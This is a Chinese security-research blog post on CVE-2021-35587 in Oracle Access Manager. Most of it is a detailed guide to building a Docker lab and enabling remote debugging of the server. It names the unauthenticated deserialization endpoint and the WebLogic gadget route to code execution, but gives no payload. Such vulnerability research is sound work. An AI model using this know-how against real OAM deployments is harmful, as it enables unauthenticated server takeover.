漏洞概况

CVE公告

Vulnerability in the Oracle Access Manager product of Oracle Fusion Middleware (component: OpenSSO Agent). Supported versions that are affected are 11.1.2.3.0, 12.2.1.3.0 and 12.2.1.4.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Access Manager. Successful attacks of this vulnerability can result in takeover of Oracle Access Manager. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

—— https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-35587

OAM是什么

Oracle Access Manager (OAM) 提供身份管理(使用用户、组和机构管理、自助服务、流程管理功能和委托管理)、验证和授权服务,以及合规性报告。

可以理解为Oracle生态中一套单点登陆系统。

CVE-2021-35587能达成什么效果

利用该漏洞,任意能够访问OAM的攻击者,无需认证即可攻占OAMServer。

CVE-2021-35587的影响版本有哪些

11.1.2.3.0, 12.2.1.3.0, 12.2.1.4.0

——https://www.oracle.com/security-alerts/cpujan2022.html#AppendixFMW

基本原理

这是一个Java原生反序列化漏洞,接受和处理反序列化数据的接口是无认证的。

因为OAM包含weblogic,所以反序列化过程可以借助weblogic的gadget达成任意Java代码执行,进而执行任意命令以攻占服务器,getshell和横向移动。

本地搭建OAM

因为这是一套相对复杂的环境,所以搭建可用的OAM调试分析环境在利用CVE-2021-35587这个漏洞的过程中占据了相当大一部分时间。在这一点上,漏洞原作者和我有同样的体会。为了节省后来的分析者,以及以后的自己的宝贵的时间,我把OAM环境搭建方法和搭建过程中踩到的各种各样的坑总结在此。

大纲

参考 https://docs.oracle.com/en/middleware/idm/access-manager/12.2.1.4/tutorial-oam-docker/#Background 使用方法2获取OAM镜像

  1. Download a prebuilt OAM image from Oracle Container Registry by by navigating to Middleware > oam. This image contains no patches and should only be used in Developer or Test environments.

下载到的OAM镜像用于跑起来三个OAM容器

  • WebLogic Administration Server (AdminServer)
  • OAM Managed Server (oam_server1)
  • OAM Policy Manager Managed Server (oam_policy_mgr1)

跑起来这三个容器依赖一个可用的Oracle数据库

步骤汇总

  1. 创建一台全新的Ubuntu18.04,切换到root用户。

  2. https://hub.docker.com/_/oracle-database-enterprise-editionhttps://container-registry.oracle.com/ 登录账号后同意协议。(参考步骤二)

  3. 安装docker

    1
    2
    
    # apt update
    # apt install docker.io
    
  4. docker 登录dockerhub 和 container-registry.oracle.com

    1
    2
    3
    4
    
    # ocker login
    	输入 login.docker.com 的账号密码	
    # docker login container-registry.oracle.com
    	输入 login.oracle.com 的账号密码
    
  5. 拉取两个镜像

    1
    2
    
    # docker pull store/oracle/database-enterprise:12.2.0.1
    # docker pull container-registry.oracle.com/middleware/oam:12.2.1.4.0
    
  6. 一些准备工作

    1
    2
    3
    
    # docker network create -d bridge OamNET
    # mkdir -p /scratch/user_projects
    # chmod 777 /scratch/user_projects
    
  7. 启动四个容器(注意:将以下命令中的172.17.0.1替换为docker虚拟网卡网关的IP

    1
    2
    3
    4
    
    docker run -d -it --name myOracleDB -p 1521:1521 store/oracle/database-enterprise:12.2.0.1
    docker run -d --network=OamNET -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=Oradoc_db2 -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0
    docker run -d -p 14100:14100 --network=OamNET --volumes-from oamadmin --name oamms --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=14100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_server1 --env MS_HOST=oamms container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"
    docker run -d -p 15100:15100 --network=OamNET --volumes-from oamadmin --name oampolicy --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=15100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_policy_mgr1 --env MS_HOST=oampolicy container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"
    
  8. 查看各服务的IP地址

    1
    
    docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' oamadmin oamms oampolicy myOracleDB
    
  9. 使用以下链接访问服务。(注意:将192.168.0.105替换为虚拟机IP

    1
    2
    3
    4
    5
    6
    7
    
    账号:weblogic  密码:W3bl@gic
    
    WebLogic Administration Console   http://192.168.0.105:7001/console         
    Oracle Enterprise Manager Console http://192.168.0.105:7001/em       
    Oracle Access Management Console  http://192.168.0.105:7001/oamconsole
    OAM Server Logout                 http://192.168.0.105:14100/oam/server/logout
    Policy Manager Access             http://192.168.0.105:15100/access
    

①运行Oracle数据库

创建Oracle数据库

参考 https://hub.docker.com/_/oracle-database-enterprise-edition 登陆账号后跳转到 https://hub.docker.com/u/findneo/content/sub-3762ef81-7448-4275-909b-df7e6b5d4070 ,同意协议。

1
2
3
4
5
6
7
8
# sudo docker login 
输入docker hub的账号密码

# sudo docker pull store/oracle/database-enterprise:12.2.0.1
拉取镜像

# sudo docker run -d -it --name myOracleDB -p 1521:1521 store/oracle/database-enterprise:12.2.0.1
运行起来一个Oracle数据库,并且开放到本地的1521端口

测试数据库连接

安装sqlplus

参考https://askubuntu.com/questions/159939/how-to-install-sqlplus

step1:
1
# sudo apt-get install alien
step2:

https://www.oracle.com/database/technologies/instant-client/linux-x86-64-downloads.html 下载3个文件 oracle-instantclient12.2-basic-12.2.0.1.0-1.x86_64.rpm oracle-instantclient12.2-sqlplus-12.2.0.1.0-1.x86_64.rpm oracle-instantclient12.2-devel-12.2.0.1.0-1.x86_64.rpm

step3:
1
2
3
# sudo alien -i oracle-instantclient*-basic*.rpm
# sudo alien -i oracle-instantclient*-sqlplus*.rpm
# sudo alien -i oracle-instantclient*-devel*.rpm
step4:
1
# sudo apt-get install libaio1
step5:
1
2
# sudo sensible-editor /etc/ld.so.conf.d/oracle.conf
粘贴右侧内容: /usr/lib/oracle/12.2/client64/lib/
step6:

sudo ldconfig

step7 测试链接
1
2
# sqlplus64 sys/Oradoc_db1@//127.0.0.1:1521/ORCLCDB.localdomain as sysdba
# sqlplus64 sys/Oradoc_db1@//172.17.0.1:1521/ORCLPDB1.localdomain as sysdba

Image

其他:sqlplus64的用法

sqlplus64的用法:sqlplus [ [<option>] [{logon | /nolog}] [<start>] ]

其中<logon>

1
{<username>[/<password>][@<connect_identifier>] | / } [AS {SYSDBA | SYSOPER | SYSASM | SYSBACKUP | SYSDG | SYSKM | SYSRAC}] [EDITION=value]

其中<connect_identifier>可以是如下格式 @[<net_service_name> | [//]Host[:Port]/<service_name>]

如何知道 service_name 或者 net_service_name?Oracle数据库容器镜像文档service_name定义在环境变量TNS_ADMIN定义的目录下的tnsnames.ora文件中, 进容器看到 TNS_ADMIN=/u01/app/oracle/product/12.2.0/dbhome_1/admin/ORCLCDB ,tnsnames.ora文件内容为

1
2
ORCLCDB =   (DESCRIPTION =     (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))     (CONNECT_DATA =       (SERVER = DEDICATED)       (SERVICE_NAME = ORCLCDB.localdomain)     )   )
ORCLPDB1 =   (DESCRIPTION =     (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))     (CONNECT_DATA =       (SERVER = DEDICATED)       (SERVICE_NAME = ORCLPDB1.localdomain)     )   )

所以 SERVICE_NAME 可以是 ORCLCDB.localdomain 或者 ORCLPDB1.localdomain

②下载OAM镜像

进入 https://container-registry.oracle.com/ ,点击右上角Sign In,登陆自己的Oracle账号,然后点击MiddleWare,然后点击OAM。

Image

Image

在右侧区域同意协议,然后才可以下载。

Image

否则即使docker login,还是无法下载,会提示

Error response from daemon: pull access denied for container-registry.oracle.com/middleware/oam, repository does not exist or may require ‘docker login’: denied: requested access to the resource is denied。

Image

同意协议之后执行以下命令

1
# sudo docker login container-registry.oracle.com

输入在Oracle注册的账号密码

1
# sudo docker pull container-registry.oracle.com/middleware/oam:12.2.1.4.0

Image

③创建容器一oamadmin

参考教程创建OAM Administration Server Container,其中包含WebLogic 和OAM Consoles.

1
2
3
4
5
6
7
8
sudo docker images
sudo docker network create -d bridge OamNET
# 14f104a67b0819335f9490dadc3e4003540bcdbb7b19436b2aea56250a5f2713

sudo mkdir -p /scratch/user_projects
sudo chmod 777 /scratch/user_projects

sudo docker run -d --network=OamNET -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=127.0.0.1:1521/ORCLCDB.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=password --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=password -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0

可能会连不上,使用以下命令调试,看看错误是什么

1
sudo docker run --rm --network=OamNET -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=127.0.0.1:1521/ORCLCDB.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=password --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=password -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0

报错及解决

报错一:无法连接数据库

1
2
Unable to connect to the database using the provided details.
Enter a valid hostname and port or check if the listener is up and running

解决一:使用正确的IP

需要注意CONNECTION_STRING是从新建的容器中访问的,所以给的IP应该是容器网卡的网关或者主机的,比如 172.17.0.1,而不是127.0.0.1。

报错二:无法连接CDB

1
The selected Oracle database is a multitenant container database (CDB). Connecting to a multitenant container database (CDB) is not supported. Instead, connect to a valid pluggable database (PDB).

解决二:使用PDB

PDB和CDB是Oracle12的新特性,CDB是多租的。Oracle 数据库 12 c 多租户选项允许单个容器数据库 (CDB) 来承载多个单独的可插拔数据库 (PDB)。

——https://www.cnblogs.com/kerrycode/p/3386917.html

使用以下语句查看自己是否是所租数据库

1
select name, decode(cdb, 'YES', 'Multitenant Option enabled', 'Regular 12c Database: ') "Multitenant Option" , open_mode, con_id from v$database;

结果

1
2
3
NAME      Multitenant Option         OPEN_MODE              CON_ID
--------- -------------------------- -------------------- ----------
ORCLCDB   Multitenant Option enabled READ WRITE            0

或者直接

1
select cdb from v$database

YES表示该数据库是CDB,如果是NO表示是NO-CDB(普通数据库)

或者执行

1
show pdbs;

结果

1
2
3
   CON_ID CON_NAME              OPEN MODE  RESTRICTED
---------- ------------------------------ ---------- ----------
     2 PDB$SEED              READ ONLY  NO

搜索 “how to connect to pdb directly” ,参考此文 想到通过新建服务连接到PDB。然后注意到/u01/app/oracle/product/12.2.0/dbhome_1/admin/ORCLCDB/tnsnames.ora 文件内容如下,其中已经包括两个Service。

1
2
ORCLCDB =   (DESCRIPTION =     (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))     (CONNECT_DATA =       (SERVER = DEDICATED)       (SERVICE_NAME = ORCLCDB.localdomain)     )   )
ORCLPDB1 =   (DESCRIPTION =     (ADDRESS = (PROTOCOL = TCP)(HOST = 0.0.0.0)(PORT = 1521))     (CONNECT_DATA =       (SERVER = DEDICATED)       (SERVICE_NAME = ORCLPDB1.localdomain)     )   )

所以只要,创建容器时CONNECTION_STRING 使用 172.17.0.1:1521/ORCLPDB1.localdomain 而不是 172.17.0.1:1521/ORCLCDB.localdomain 就能解决这个错误。

报错三:无法执行SQL

1
2
3
ERROR - RCU-6005 Unable to execute sql query.
CAUSE - RCU-6005 Database not in open state.
ACTION - RCU-6005 Make sure that the database is open.

解决三:打开PDB

为了解决报错而胡乱操作了数据库,其中一个动作关闭了PDB,从而导致了这个错误。打开它就好了。

SQL> select name,open_mode from v$pdbs;

1
2
3
4
5
6
NAME
--------------------------------------------------------------------------------
OPEN_MODE
----------
ORCLPDB1
MOUNTED

SQL> alter pluggable database ORCLPDB1 open;

1
Pluggable database altered.

SQL> select name,open_mode from v$pdbs;

1
2
3
4
5
6
NAME
--------------------------------------------------------------------------------
OPEN_MODE
----------
ORCLPDB1
READ WRITE

报错四:创建domain失败

日志详情:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain
RCUPREFIX=OAM1
DOMAIN_HOME=/u01/oracle/user_projects/domains/access_domain
INFO: Admin Server not configured. Will run RCU and Domain Configuration Phase...
Configuring Domain for first time 
Start the Admin and Managed Servers  
=====================================
Loading RCU Phase
=================
CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain
RCUPREFIX=OAM1
jdbc_url=jdbc:oracle:thin:@172.17.0.1:1521/ORCLPDB1.localdomain
Creating Domain 1st execution
Loading RCU into database with RCUPREFIX OAM1
Domain Configuration Phase
==========================
/u01/oracle/oracle_common/common/bin/wlst.sh -skipWLSModuleScanning /u01/oracle/dockertools/create_domain.py -oh /u01/oracle -jh /u01/jdk -parent /u01/oracle/user_projects/domains -name access_domain -user weblogic -password password -rcuDb 172.17.0.1:1521/ORCLPDB1.localdomain -rcuPrefix OAM1 -rcuSchemaPwd password -isSSLEnabled true
Cmd is /u01/oracle/oracle_common/common/bin/wlst.sh -skipWLSModuleScanning /u01/oracle/dockertools/create_domain.py -oh /u01/oracle -jh /u01/jdk -parent /u01/oracle/user_projects/domains -name access_domain -user weblogic -password password -rcuDb 172.17.0.1:1521/ORCLPDB1.localdomain -rcuPrefix OAM1 -rcuSchemaPwd password -isSSLEnabled true

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

create_domain.py called with the following inputs:
INFO: sys.argv[0] = /u01/oracle/dockertools/create_domain.py
INFO: sys.argv[1] = -oh
INFO: sys.argv[2] = /u01/oracle
INFO: sys.argv[3] = -jh
INFO: sys.argv[4] = /u01/jdk
INFO: sys.argv[5] = -parent
INFO: sys.argv[6] = /u01/oracle/user_projects/domains
INFO: sys.argv[7] = -name
INFO: sys.argv[8] = access_domain
INFO: sys.argv[9] = -user
INFO: sys.argv[10] = weblogic
INFO: sys.argv[11] = -password
INFO: sys.argv[12] = password
INFO: sys.argv[13] = -rcuDb
INFO: sys.argv[14] = 172.17.0.1:1521/ORCLPDB1.localdomain
INFO: sys.argv[15] = -rcuPrefix
INFO: sys.argv[16] = OAM1
INFO: sys.argv[17] = -rcuSchemaPwd
INFO: sys.argv[18] = password
INFO: sys.argv[19] = -isSSLEnabled
INFO: sys.argv[20] = true
INFO: Creating Admin server...
INFO: Enabling SSL PORT for AdminServer...
Error: set() failed. Do dumpStack() to see details.
Error: runCmd() failed. Do dumpStack() to see details.
Problem invoking WLST - Traceback (innermost last):
  File "/u01/oracle/dockertools/create_domain.py", line 513, in ?
  File "/u01/oracle/dockertools/create_domain.py", line 123, in createOAMDomain
  File "/u01/oracle/dockertools/create_domain.py", line 184, in createBaseDomain
  File "/tmp/WLSTOfflineIni5785928536971827845.py", line 79, in set
  File "/tmp/WLSTOfflineIni5785928536971827845.py", line 19, in command
	at com.oracle.cie.domain.script.jython.CommandExceptionHandler.handleException(CommandExceptionHandler.java:69)
	at com.oracle.cie.domain.script.jython.WLScriptContext.handleException(WLScriptContext.java:3085)
	at com.oracle.cie.domain.script.jython.WLScriptContext.runCmd(WLScriptContext.java:738)
	at sun.reflect.GeneratedMethodAccessor132.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)

com.oracle.cie.domain.script.jython.WLSTException: com.oracle.cie.domain.script.jython.WLSTException

Domain Creation Failed.. Please check the Domain Logs

可以从48行看到是在 Creating Admin server... 阶段出错的。

解决四:提高ADMIN_PASSWORD 密码复杂度

需要注意的是每次失败重试之前要先删除之前留下的痕迹。

1
2
sudo docker rm oamadmin
sudo rm -rf /scratch/user_projects/*

从这里 https://github.com/oracle/docker-images/issues/844#issuecomment-389884511 看到可能是密码复杂度不够,导致无法设置密码。

启动容器的命令改为以下。将其中 ADMIN_PASSWORDDB_SCHEMA_PASSWORD 的复杂度变高。

其中ADMIN_PASSWORD 应该是weblogic管理台的密码。DB_SCHEMA_PASSWORDpassword you want to set for the RCU schemas

那么什么是RCU schemas 呢?什么是RCU呢?不太理解,先跳过。

Repository Creation Utility is a graphical and CLI-based tool used to create and manage Oracle Fusion Middleware database schemas.

改进两个密码的复杂度重新创建容器。

1
sudo docker run -d --network=OamNET -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=Dbsch3m@ -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0

并使用 sudo docker logs -ft oamadmin 查看新建过程打印出来的日志,看到问题得到了解决。

报错五:创建domain失败

可以看到前几个步骤都顺利完成了,但也出现了新的问题。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
类似前文日志
INFO: Creating Admin server...
INFO: Enabling SSL PORT for AdminServer...
Creating Node Managers...
Will create Base domain at /u01/oracle/user_projects/domains/access_domain
Writing base domain...
Base domain created at /u01/oracle/user_projects/domains/access_domain
Extending domain at /u01/oracle/user_projects/domains/access_domain
Database  172.17.0.1:1521/ORCLPDB1.localdomain
Apply Extension templates
Extension Templates added
Extension Templates added
Deleting oam_server1
The default oam_server1 coming from the oam extension template deleted
Deleting oam_policy_mgr1
The default oam_server1 coming from the oam extension template deleted
Configuring JDBC Templates ...
Configuring the Service Table DataSource...
fmwDatabase  jdbc:oracle:thin:@172.17.0.1:1521/ORCLPDB1.localdomain
Getting Database Defaults...
Error: getDatabaseDefaults() failed. Do dumpStack() to see details.
Error: runCmd() failed. Do dumpStack() to see details.
Problem invoking WLST - Traceback (innermost last):
  File "/u01/oracle/dockertools/create_domain.py", line 513, in ?
  File "/u01/oracle/dockertools/create_domain.py", line 124, in createOAMDomain
  File "/u01/oracle/dockertools/create_domain.py", line 328, in extendOamDomain
  File "/u01/oracle/dockertools/create_domain.py", line 259, in configureJDBCTemplates
  File "/tmp/WLSTOfflineIni7074819690261705056.py", line 267, in getDatabaseDefaults
  File "/tmp/WLSTOfflineIni7074819690261705056.py", line 19, in command
Failed to build JDBC Connection object: 
	at com.oracle.cie.domain.script.jython.CommandExceptionHandler.handleException(CommandExceptionHandler.java:69)
	at com.oracle.cie.domain.script.jython.WLScriptContext.handleException(WLScriptContext.java:3085)
	at com.oracle.cie.domain.script.jython.WLScriptContext.runCmd(WLScriptContext.java:738)
	at sun.reflect.GeneratedMethodAccessor132.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)

com.oracle.cie.domain.script.jython.WLSTException: com.oracle.cie.domain.script.jython.WLSTException: Got exception when auto configuring the schema component(s) with data obtained from shadow table: 
Failed to build JDBC Connection object: 

Domain Creation Failed.. Please check the Domain Logs

解决五:修改DB_SCHEMA_PASSWORD

从日志看到是在 Getting Database Defaults... 阶段出现的问题,搜索 getDatabaseDefaults() failed. Do dumpStack() to see details. 发现这个github issue有讨论。

看到有人说是 schema password 的问题,于是随便改DB_SCHEMA_PASSWORD ,改成Oradoc_db1 还是不行,改成Oradoc_db2就可以了,我也不知道是什么原因😓不解

image-20220319001023127

总之呢,用这个命令,就可以跑起来三个容器中的第一个了!

1
sudo docker run -d --network=OamNET -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=Oradoc_db2 -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0

成果

image-20220319001206652

④创建容器二oamms

1
sudo docker run -d -p 14100:14100 --network=OamNET --volumes-from oamadmin --name oamms --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=14100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_server1 --env MS_HOST=oamms container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"

image-20220319002053797

⑤创建容器三oampolicy

1
sudo docker run -d -p 15100:15100 --network=OamNET --volumes-from oamadmin --name oampolicy --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=15100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_policy_mgr1 --env MS_HOST=oampolicy container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"

image-20220319002625756

⑥验证服务可用性

1
sudo docker inspect -f '{{.Name}} - {{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' oamadmin oamms oampolicy myOracleDB

image-20220319003016738

Console or PageURL
WebLogic Administration Consolehttp://<oamadmin_ip>:7001/console
Oracle Enterprise Manager Consolehttp://<oamadmin_ip>:7001/em
Oracle Access Management Consolehttp://<oamadmin_ip>:7001/oamconsole
OAM Server Logouthttp://<oamms_ip>:14100/oam/server/logout
Policy Manager Accesshttp://<oampolicy_ip>:15100/access

各服务截图

image-20220319004128564

image-20220319004142916

image-20220319004039342

image-20220319004207596

image-20220319004232583

image-20220319004241815

⑦启停与删除

启停

1
2
sudo docker stop oamadmin oamms oampolicy myOracleDB
sudo docker start oamadmin oamms oampolicy myOracleDB

删除

1
2
3
sudo docker stop oamadmin oamms oampolicy myOracleDB
sudo docker rm oamadmin oamms oampolicy myOracleDB
sudo rm -rf /scratch/user_projects

远程调试OAM

本章节描述了拥有一个本地运行的OAM之后开启远程调试,以及从仅知道漏洞接口,到定位漏洞主机/容器、定位漏洞进程、定位漏洞代码、再到下载部署包和搭建调试项目,到最终能够顺利进行无源码远程调试的详细过程。其中也体现了Java web远程调试的基本流程和思路。

大纲

OAM包括多个容器,我们需要先定位出来分析这个漏洞所需要关注的容器和进程,以调试模式重启该进程,将调试端口从容器中暴露给用于调试的主机,然后将对应进程的部署包和依赖包下载到调试主机,最后通过idea进行常规的Java web远程无源码动态调试。

步骤汇总

  1. 参照 ”附录一:本地搭建OAM运行环境“ 的 ”步骤汇总“ 章节,但在 ”步骤汇总“ 章节中的第7步使用以下命令新建容器,在原命令基础上增加暴露出来容器的调试端口。
1
2
3
4
docker run -d -it --name myOracleDB -p 8451:8453 -p 1521:1521 store/oracle/database-enterprise:12.2.0.1
docker run -d --network=OamNET -p 8452:8453 -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=Oradoc_db2 -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0
docker run -d -p 14100:14100 -p 8453:8453 --network=OamNET --volumes-from oamadmin --name oamms --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=14100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_server1 --env MS_HOST=oamms container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"
docker run -d -p 15100:15100 -p 8454:8453 --network=OamNET --volumes-from oamadmin --name oampolicy --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=15100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_policy_mgr1 --env MS_HOST=oampolicy container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"
  1. 修改oamms容器中的/u01/oracle/user_projects/domains/access_domain/bin/setDomainEnv.sh 文件,在debugFlag变量被使用之前将其赋值为true。大约是在第419行这个空白行添加 debugFlag="true"
  2. 重启oamms容器: docker restart oamms
  3. 将oamms容器中的 /u01/oracle/user_projects/domains/access_domain/servers/oam_server1/tmp/_WL_user/oam-jars/gkvqum/APP-INF/lib/*.jar/u01/oracle/coherence/lib/*.jar 下载到调试主机,添加到调试项目的library中。
  4. 在oamms容器中生成 wlfullclient.jar ,下载到调试主机,添加到调试项目的library中。
  5. 通过 docker exec oamms tail -f /u01/oracle/user_projects/domains/access_domain/logs/oam_server1-ms-oamms.log 查看错误日志 idea启动调试 在 oracle.security.am.pbl.transport.http.AMServlet#doPost 下断点 通过 curl -XPOST http://192.168.175.139:14100/oam/server/opensso/sessionservice 发送请求 这个时候idea就能成功捕获到断点了。

①需要关注的容器和进程

由漏洞作者分析文章知道存在漏洞的接口为 /oam/server/opensso/sessionservice ,结合OAM搭建文档的服务验证环节,知道是oamms容器expose的14100端口上web应用的问题,故尝试调试该容器的web应用。

修改oamms容器中的/u01/oracle/user_projects/domains/access_domain/bin/setDomainEnv.sh 文件以将oamms中Java进程切换到可调试模式。方便我们通过idea挂载到oamms中对存在漏洞的Java进程进行远程调试。

在空白行419行添加debugFlag="true" 。容器中没有vim , ps , netstat 等工具,可以使用 yum install vim net-tools 进行安装。

image-20220322162630044

然后执行docker restart oamms,重启完成后进入容器可以看到进程已经以调试模式启动,并且监听在8453端口。

image-20220322163027854

但是此时oamms容器中的8453端口并没有expose出来

尝试通过将当前oamms容器保存为镜像,再重新启动的方式来添加映射端口:

1
2
3
4
5
6
docker stop oamms
docker commit oamms myoamms-image
docker container rm oamms 
docker run -itd -name oamms -p 8453:8453 -p 14100:14100 myoamms-image
docker run -itd -n oamms -p 8453:8453 -p 14100:14100 myoamms-image
docker run -itd --name oamms -p 8453:8453 -p 14100:14100 myoamms-image

但似乎没有成功,界面一直停留在 Waiting for WebLogic Admin Server on oamadmin/7001 to become available... ,可能是新建的容器IP变动导致的网络通信的问题。

image-20220322170915415

干脆重新部署,在新建各个容器的时候添加映射端口。

1
2
3
4
docker run -d -it --name myOracleDB -p 8451:8453 -p 1521:1521 store/oracle/database-enterprise:12.2.0.1
docker run -d --network=OamNET -p 8452:8453 -p 7001:7001 --name=oamadmin --env CONNECTION_STRING=172.17.0.1:1521/ORCLPDB1.localdomain --env ADMIN_LISTEN_HOST=oamadmin --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_PORT=7001 --env RCUPREFIX=OAM1 --env DB_USER=sys --env DB_PASSWORD=Oradoc_db1 --env DB_SCHEMA_PASSWORD=Oradoc_db2 -v /scratch/user_projects/:/u01/oracle/user_projects container-registry.oracle.com/middleware/oam:12.2.1.4.0
docker run -d -p 14100:14100 -p 8453:8453 --network=OamNET --volumes-from oamadmin --name oamms --env DOMAIN_NAME=access_domain --env ADMIN_USER=weblogic --env ADMIN_PASSWORD=W3bl@gic --env ADMIN_LISTEN_HOST=oamadmin --env ADMIN_LISTEN_PORT=7001 --env MANAGEDSERVER_PORT=14100 --env MANAGED_SERVER_CONTAINER=true --env MS_NAME=oam_server1 --env MS_HOST=oamms container-registry.oracle.com/middleware/oam:12.2.1.4.0 "/u01/oracle/dockertools/startMS.sh"
